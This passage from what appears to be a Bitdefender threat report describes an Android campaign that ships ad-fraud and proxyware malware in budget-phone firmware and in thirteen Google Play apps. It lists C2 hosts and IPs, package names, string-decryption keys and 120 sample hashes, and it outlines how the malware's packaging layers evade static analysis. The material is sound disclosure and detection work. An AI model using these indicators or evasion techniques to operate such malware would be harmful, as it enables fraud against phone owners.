(Cubot) Representative device model strings from telemetry, grouped by pattern. Region coding and board names indicate firmware-level delivery; counterfeit flagship naming indicates the marketplace segment. This list is best read as evidence of a distribution mechanism rather than a target list. Region-coded firmware strings and board-level build names indicate the payload resides in the ROM. Counterfeit flagship names and budget rugged brands point to an ODM ecosystem sold globally through online marketplaces. The individual model names matter far less than what they collectively indicate— that this shipped in firmware. Important clarification: The above analysis attributes the firmware/device supply chain based on the platform key that signs the enabler component. This technical attribution does not constitute proof that Shenzhen Zediel authored, distributed, or was aware of the malware. The payload operator (discussed below) is tracked as a separate actor, and multiple intermediaries may exist between the certificate holder and the final point of malware integration. Malware operator lineage — Joker → Phantom/Click → this cluster Dr.Web’s Android.Phantom.5 entry lists our exact IOCs cgb.jingongbuxiao[.]com and 5.ahd187[.]com/thirdsdk/flowcashpack/, and references zhuifengzhe[.]top, which is a domain used by Android.Joker.310.origin (2021) (premium-SMS subscription fraud + remote code loading). This ties a multi-year operator timeline: Era Family (Dr.Web) Behavior Shared infrastructure 2021 Android.Joker.310/242.origin Premium-SMS fraud + remote DEX loading Zhuifengzhe[.]top 2025 Android.Phantom.5 (dropper) → Android.Click.429.origin Byte-array-decrypt dropper → JS WebView click fraud Cgb.jingongbuxiao[.]com, 5.ahd187[.]com/thirdsdk/flowcashpack/, Zhuifengzhe[.]top, Fyapi.freeflightbird[.]com, Newsadapi.zhuifengzhe[.]top 2024-2025 Midnight Mimosa Preinstalled enabler + ad fraud + click fraud + residential proxyware api.weatherlive.world, Cgb.jingongbuxiao[.]com, 5.ahd187[.]com, proxyware C2s (EnLoaderLib/dykr) The same code on Google Play The campaign is not confined to preinstalled firmware. Thirteen applications published on Google Play were found carrying the same family markers as the dropped cover apps, in builds distributed by Play itself. # Package 1 com.audify.editor.wavrge 2 appicon.diy.tools.prop 3 com.audify.editor.pro 4 com.prorestore.qr 5 com.message.recovery.prorestore 6 com.go.weather.mot 7 com.cool.weather.yl 8 com.dmstudio.weather 9 com.dl.guard.lock 10 picturetranslate.extractor.text.lite 11 com.notemaster.record.mark 12 com.arabmusic.tap.aghani_tamerhosny 13 org.life.goal.tools Applications published on Google Play carrying ad-fraud family markers. These are genuine Play builds. They carry the Play signature block whose absence identified the spoofed installs earlier in this report. The provenance is real, which means these applications passed Play review and were distributed by Google to users who went looking for a weather app or a QR scanner. No counterfeit hardware is involved. The signing identities rotate deliberately. Thirteen packages carry 13 different signing certificates, spread across at least two developer accounts, fivedev and CPS Developer, with the remainder unresolved. The link between them is the shared code, not the certificate. An actor who rotates signing identity per package is anticipating that any one of them will eventually be burned. While they do provide functionality, they also load and display ads outside the app, sometimes even when the user isn't even using the phone. This is an example of one of the applications listed in the Google Play Store that communicates with same servers and the embedded malware. The campaign has two independent distribution channels. One rides in the firmware of cheap hardware and reaches users who never chose to install anything. The other goes through the official store and reaches users who chose deliberately. Both run the same ad-fraud code against the same infrastructure. Removing either channel leaves the other intact. Conclusions Preinstalled malware is a different threat class. Every user-facing defense assumes the owner is in the loop at installation: the install prompt, the store review, Play Protect, and the ability to uninstall afterwards. A platform-signed system application holding INSTALL_PACKAGES and GRANT_RUNTIME_PERMISSIONS removes the owner from that loop entirely, and this campaign then switches off the one automated defender that remains. The compromise is complete before the phone is first switched on. The layering is in itself a defense. The APK is an empty shell. The native library is a trampoline over an encrypted blob. The framework's strings are encrypted. The plugins are JARs carrying a .o extension, and the payloads are APKs served as .png files. The modules are provisioned from a remote server, so a sample examined statically often contains no active payload at all. Detection has to see through the packaging or watch the behavior. One operator, many names. Rotating package names, signing certificates and renamed native libraries mean a package-name blocklist ages out immediately. Detection should key on the invariant core: libeasy.so and cn.kw.lib.hex, the api.weatherlive.world C2. Remediation cannot rely on uninstall. Because the root component ships in the system partition, an affected owner cannot remove it by the normal route. Clearing the device requires firmware-level cleanup or disabling the component over ADB, and neither is realistic for most people who own these phones. The durable fix sits with the vendors and the marketplaces that ship and sell the affected firmware. Indicators of compromise Type Indicator Context Host api.weatherlive[.]world/br_upgrade/upgradeV2/getConfigs AES/HmacMD5 module control channel Host api.weatherlive[.]world/odborwer_dot/cm Telemetry beacon (DotReporter) Host oss.showtimetool[.]com Module/asset CDN (payloads served as .png) Host 39.96.8.180:9008/ssc/rprt/bug DX/S1 framework bug-report C2 Host 120.78.215.151:80/api/bugLog Embedded-framework crash C2 Host 85.17.70.38:6000 (live) EnLoaderLib proxyware C2 (applock.en); reached via the domains below Host *.apple.{0aa0cf0637d66c0d[.]com, aa86a52a98162b7d[.]com, 442fe7151fb1e9b5[.]com, v46wd6uramzkmeeo[.]in} Proxyware control hosts, pattern {productId}.apple.:6000 Pkg com.android.system.lite (vc 900000, “System”) The enabler Pkg com.mobile.applock.en / .wt / .tg Dropped gogo droppers (proxyware / ad-fraud) File libeasy.so (a8847b68428fde206b6dff8001051f92) Native core; RC4-drops cn.kw.lib.hex Cipher AES-128-CFB key=MD5(“aGV4QCFRQFcjRQ==”) IV 0102030405060708 hex framework strings Cipher AES-128-CFB key=MD5(“dHhAZXhAc2Vy”) enabler strings Cipher AES/CFB key=MD5(“ZHhAIVFAVyNF”) (dx@!Q@W#E) stage-3 plugin strings Marker installer name com.android.vending with no Play frosting signature spoofed install source, forged Play provenance Full sample set (120 MD5 hashes) MD5 Package 05ae89e761a890fa24f80f4be7263651 com.android.browser 1da42505f1c83959c7f901f5139a158e com.android.browser a147cd8f72aadfcf78f7723db6813e86 com.android.browser f456f0c6b89bd3d5124699d43971d094 com.android.browser 2c77653b889dfccd649b82446f8c0d1b com.android.deskclock 5d29e9b24708c3ec36d1d59036124838 com.android.deskclock 998e9010e5dfc4e4645f5572cbbe5b53 com.android.deskclock b3a4405d1b8d43545d07b10581008d32 com.android.deskclock 0377ca97ac0ca35f9134052fede67a81 com.android.gallery3d 0b0d8e995e6ff24d4e9d00417446c25e com.android.gallery3d 1414d4ef2d1191080abc59a407dcb6c5 com.android.gallery3d 345057421c7d9ac2b671c47449f35030 com.android.gallery3d 36deebfcda4012d18706cd170c1edf1f com.android.gallery3d 37f18a20b9cf32e6f07450e903eaad7c com.android.gallery3d 4507363415e7dc6d2cab14eeed137f6c com.android.gallery3d 512a6db4a22244272826f39da020fb44 com.android.gallery3d 5b3a49938f455d1197736971c4c07228 com.android.gallery3d 6aca76699ec0bb8e51372d5c68c8359b com.android.gallery3d 815b910f1efc95f38ba0c5b12c4f2129 com.android.gallery3d c75ec7f3bcbc879aae9a21ad544d3232 com.android.gallery3d d9fc6b2cd5eaa3929207f1029663d947 com.android.gallery3d e51c11442a529dcd06dc7c8e45974ec2 com.android.gallery3d e9b91e1d94bb3ff9a1c00b1c13eb7960 com.android.gallery3d be22c91b4578ac2357a16133615df335 com.android.settings d5d88214170875386ab855172f881e51 com.android.sys.bcprot dce5b0dc0e7d7059b5ab8384a7c24ec4 com.android.sys.bcprot 61aac6a98abd6dcff0dc41bb88159786 com.android.sys.dts 2b784622422f4280e0b3e38b30dd87bc com.android.sys.gmsprot 2b7f1a7d5f5515c05d0c8e3857155ae2 com.android.sys.prot 3d3358b1057b1bfbd7e60577d8a31e0c com.android.sys.prot 7400c34f7c6f866499029f5e759f58bd com.android.sys.prot d4ceb05682ecd60f4ebb4e76e02fcf7d com.android.sys.prot 60bc23d3d453f258e2c4ca421cd086a9 com.android.system.lite b862681953e945439167a736ba4cd41b com.android.system.lite ed1a6bed83899952b464c27aef9752cc com.android.weapps 0903d7fd3e1d4a599a7eb3c5d356779b com.android.weiapps a57a1ba15364dfb35d334f644d7049e8 com.mb.applock.a02 cde0490e11db8ad54737c1df59ec658b com.mb.applock.ea 08d231c6a5303e543eb60d4181f6a4ea com.mobile.applock.en 7f7747575980098bdc98e7b7aa362697 com.mobile.applock.en d3faec4f013c4a1e84a1d681448312c0 com.mobile.applock.en e75e183027bf897eda6447366c7acd01 com.mobile.applock.tg 20108557cacd24263e7e611afc327801 com.mobile.applock.wg aac942aaf6ec0773cbac87fde4a6b284 com.mobile.applock.wg cf20de9d9ddc952bb2265002d26a916f com.mobile.applock.wg f602230f54507cbddf5ef3014737d768 com.mobile.applock.wg 079298a7a506b376def4f4ff9a250672 com.mobile.applock.wt 20cefb2c667f945d482daded7e698eea com.mobile.applock.wt 254bc5f6f81de1f3c47534e6febaf023 com.mobile.applock.wt 31b3280f1c0836c39c470932cf6c3e6f com.mobile.applock.wt 3b35d3c5667136134b20a8411803c97d com.mobile.applock.wt 3bc159537c909fa86bcc55eda127b5aa com.mobile.applock.wt 42a9f64e75911c167ec7a163e8b24920 com.mobile.applock.wt 4a171f62d1bab01827b06ae73d4caafa com.mobile.applock.wt 66c6512b9a73425aba40c8bfa95d23a0 com.mobile.applock.wt 6df909898f5f1394e78508d1152fab38 com.mobile.applock.wt 6ee2be3e5558085b532dacc8db61f3e9 com.mobile.applock.wt 6eea0568d5cc776ae03e09149cec3cd8 com.mobile.applock.wt 765d3ce85a6393d05973c4cfa7738116 com.mobile.applock.wt 90e0d27d808105167fdaa3a22b918217 com.mobile.applock.wt 9e7b34e63d8d38e37667f88a945ae69a com.mobile.applock.wt a02f28387527abe90d73d2879f671972 com.mobile.applock.wt abe12db77a62ecb99d6ab5dc4fff18c7 com.mobile.applock.wt de66cac88f156c3227749e03bdf7cf54 com.mobile.applock.wt e6650dc6721aaa27f8a289ff92e613ff com.mobile.applock.wt e7c56b4f580da53cd0e4f11d1a11e402 com.mobile.applock.wt 2de346602433cdd1668f36b2e9db0be1 com.mobile.applock.xk1 af16072864ae0f9d755f8cf00fded359 appicon.diy.tools.prop e974cf4cc5d55cddc04f026dd3ea72b8 appicon.diy.tools.prop 250205ee4b8de59e60c745856f439608 com.android.non.szcz af7f1eef22bf5ee3d0a394f53ba7e1b8 com.arabmusic.tap.aghani_tamerhosny 7322d8a65a56a7ab09f4d526cb343e3d com.awht.zfip.zfyg 0b8d3cd264c191f4884a25d0cc5318b5 com.cool.weather.yl 33b2d3ec9a35cfb0b5a5d7b24ce4140e com.cool.weather.yl 3bb270d4927e2a8385793d9084a92fd3 com.cool.weather.yl 4e46549122c0236307c5eef8891466f5 com.cool.weather.yl 642d84ed5660407b972f1df642acb192 com.cool.weather.yl 9a3d04aa36654b5c4b21edd22e46f92d com.cool.weather.yl b7d0d5ae09b0d2d2f999c1087c450456 com.cool.weather.yl cdfcc848e16660d607aba6ecf24567f4 com.cool.weather.yl f0b7b1c940ebcee97eb68f528682fc50 com.cool.weather.yl 1150da1af88729e54a34b8da5a2741c7 com.dl.guard.lock 36f9e8cf47a28f9803fba427cf02a25c com.dl.guard.lock 6739fe083cfa8dec9b4f989ccba0e99e com.dl.guard.lock ca7e2d265fc35aede432c4636a2cf4cb com.dl.guard.lock fcb9f38cc687fc8a4637e0acdf91ab66 com.dl.guard.lock c55c9d7e12cc273b812ceffca8f62d4b com.energy.appstore 9a46098de785ae732e5fced55a2f3063 com.fb.w.weather d145b14b9cc15799485f2592b2c16d9a com.fb.w.weather 0a26a9d5f7ab91cb5eed852cf83ef078 com.fe2bu1.wh 294ab3f586d76772ae89add417cf6324 com.fe2bu1.wh a13af0174bc211709e8b73bf60492a17 com.fe2bu1.wh b974ef4106af6b932df352563a9b8b3c com.fe2bu1.wh e9ec6d7b50c1e54cd523283b9de55e10 com.fe2bu1.wh 5400ffac371c5e5c9b7f3705ce9faca5 com.message.recovery.prorestore 92f2fd8bcccc8ec4ffa64c7f6b3b9b8d com.message.recovery.prorestore ab8d6be686ca9413e27a11e85f9cef1a com.message.recovery.prorestore 879168159c155758dbfd7a76e8f21548 com.notemaster.record.mark b6c5f7dfaf9d47cd67380a48df5e1731 com.notemaster.record.mark cb19dbf279a3488aec76c17e8e122c14 com.notemaster.record.mark fc812444baa071f5141ddad812d673de com.notemaster.record.mark 4f7d3c5859100d65ff02449884841b9c com.tst.blank 50e9cdc3ed145bbc688356eda07f8eb3 com.tst.blank 9f1e2249003ab22cf8a38048e0ff6f6c com.tst.blank e39bddf592016ad6d0784770df3e2ffe com.yun.wth.er 7469c9c06e5f324ca608e0140156bbad org.life.goal.tools 4521a5bbe0f33a15da86bd80ff5d6d9c picturetranslate.extractor.text.lite 8ec360829f4f7ae8dcae47c02b996762 picturetranslate.extractor.text.lite d56158a2cc8d13778df850907733b2c4 picturetranslate.extractor.text.lite fac6548a4a7a88156468b809c4f877f5 com.audify.editor.wavrge ac8957a474f8aa812c7b233aafde4723 appicon.diy.tools.prop cf4f24fdd283f80313565b08fea9d06d com.audify.editor.pro 3c098465af131141996ff840bd34e791 com.prorestore.qr 387f7af167530486adcf3d8546063462 com.go.weather.mot ee4e778e53ce4d4339d7c7888d06384d com.dmstudio.weather c8ea2a7c1f52c4c2474475c28373ee27 com.dl.guard.lock 836739fe7196437d8e998245b6f2b3b4 picturetranslate.extractor.text.lite d6ba4044f9d57f7e86d83187982ed593 com.notemaster.record.mark 838dc8fcde1b28171e404ece1cfcde44 com.arabmusic.tap.aghani_tamerhosny da67e37be01c20566990152ecfb14ed1 org.life.goal.tools Legal Disclaimer: This article is published for informational and educational purposes only, as part of Bitdefender’s ongoing security research mission. The information presented is based on technical research conducted by Bitdefender Labs using proprietary detection technologies and publicly available sources. Bitdefender does not make any legal determination regarding the activities described herein and does not claim that any named entity has engaged in illegal conduct. The identification of certificates, package names, or infrastructure associated with particular companies or brands reflects technical observations only and does not constitute an allegation that such parties authored, distributed, or knowingly facilitated malware distribution. Readers should exercise their own judgment and consult appropriate authorities or legal counsel if they believe they have been affected by any of the activities described. Domain names, URLs, and technical indicators listed in this article are provided solely to help consumers and security professionals identify potentially harmful infrastructure. All trademarks mentioned belong to their respective owners. Bitdefender disclaims any liability for actions taken based on the information in this article.

Alex BACIU

The phone was compromised before the user turned it on: the rise of Midnight Mimosa

Hundreds of Malicious Google Play-Hosted Apps Bypassed Android 13 Security With Ease

Real-Time Behavior-Based Detection on Android Reveals Dozens of Malicious Apps on Google Play Store

Bookmarks